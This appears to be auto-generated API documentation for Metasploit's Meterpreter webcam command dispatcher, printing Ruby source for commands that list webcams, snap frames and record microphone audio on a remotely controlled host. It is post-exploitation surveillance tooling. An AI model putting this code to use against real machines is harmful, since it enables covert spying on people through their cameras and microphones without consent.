Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Webcam

Inherits:
Object
  • Object
show all
Includes:
Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
Defined in:
lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb

Overview

Webcam - Capture video from the remote system

Constant Summary collapse

Klass =
Console::CommandDispatcher::Stdapi::Webcam

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

check_hash, #client, #initialize, #log_error, #msf_loaded?, set_hash

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_tabs, #initialize, #print, #print_error, #print_good, #print_line, #print_status, #tab_complete_filenames, #update_prompt

Instance Method Details

#cmd_record_mic(*args) ⇒ Object



108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 108

def cmd_record_mic(*args)
	path    = Rex::Text.rand_text_alpha(8) + ".wav"
	play    = true
	duration   = 1	

	record_mic_opts = Rex::Parser::Arguments.new(
		"-h" => [ false, "Help Banner" ],
		"-d" => [ true, "Number of seconds to record (Default: 1)" ],
		"-f" => [ true, "The wav file path (Default: '#{::File.expand_path( "[randomname].wav" )}')" ],
		"-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ]
	)

	record_mic_opts.parse( args ) { | opt, idx, val |
		case opt
			when "-h"
				print_line( "Usage: record_mic [options]\n" )
				print_line( "Records audio from the default microphone." )
				print_line( record_mic_opts.usage )
				return
			when "-d"
				duration = val.to_i
			when "-f"
				path = val
			when "-p"
				play = false if ( val =~ /^(f|n|0)/i )
		end
	}

	print_status("Starting...")
	data = client.webcam.record_mic(duration)
	print_status("Stopped")

	if( data )
		::File.open( path, 'wb' ) do |fd|
			fd.write( data )
		end
		path = ::File.expand_path( path )
		print_line( "Audio saved to: #{path}" )
		Rex::Compat.play_sound( path ) if play
	end
	return true
end

#cmd_webcam_listObject



37
38
39
40
41
42
43
44
45
46
47
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 37

def cmd_webcam_list
	begin
		client.webcam.webcam_list.each_with_index { |name, indx| 
			print_line("#{indx + 1}: #{name}")
		}
		return true
	rescue
		print_error("No webcams were found")
		return false
	end
end

#cmd_webcam_snap(*args) ⇒ Object



49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 49

def cmd_webcam_snap(*args)
	path    = Rex::Text.rand_text_alpha(8) + ".jpeg"
	quality = 50
	view    = true
	index   = 1
	wc_list = []		

	webcam_snap_opts = Rex::Parser::Arguments.new(
		"-h" => [ false, "Help Banner" ],
		"-i" => [ true, "The index of the webcam to use (Default: 1)" ],
		"-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
		"-p" => [ true, "The JPEG image path (Default: '#{path}')" ],
		"-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
	)

	webcam_snap_opts.parse( args ) { | opt, idx, val |
		case opt
			when "-h"
				print_line( "Usage: webcam_snap [options]\n" )
				print_line( "Grab a frame from the specified webcam." )
				print_line( webcam_snap_opts.usage )
				return
			when "-i"
				index = val.to_i
			when "-q"
				quality = val.to_i
			when "-p"
				path = val
			when "-v"
				view = false if ( val =~ /^(f|n|0)/i )
		end
	}
	begin 
		wc_list << client.webcam.webcam_list
	rescue
	end
	if wc_list.length > 0
		print_status("Starting...")
		client.webcam.webcam_start(index)
		data = client.webcam.webcam_get_frame(quality)
		print_good("Got frame")
		client.webcam.webcam_stop
		print_status("Stopped")

		if( data )
			::File.open( path, 'wb' ) do |fd|
				fd.write( data )
			end
			path = ::File.expand_path( path )
			print_line( "Webcam shot saved to: #{path}" )
			Rex::Compat.open_file( path ) if view
		end
		return true
	else
		print_error("No webcams where found")
		return false
	end
end

#commandsObject

List of supported commands.



22
23
24
25
26
27
28
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 22

def commands
	{
		"webcam_list"   => "List webcams",
		"webcam_snap"   => "Take a snapshot from the specified webcam",
		"record_mic"    => "Record audio from the default microphone for X seconds"
	}
end

#nameObject

Name for this dispatcher



33
34
35
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 33

def name
	"Stdapi: Webcam"
end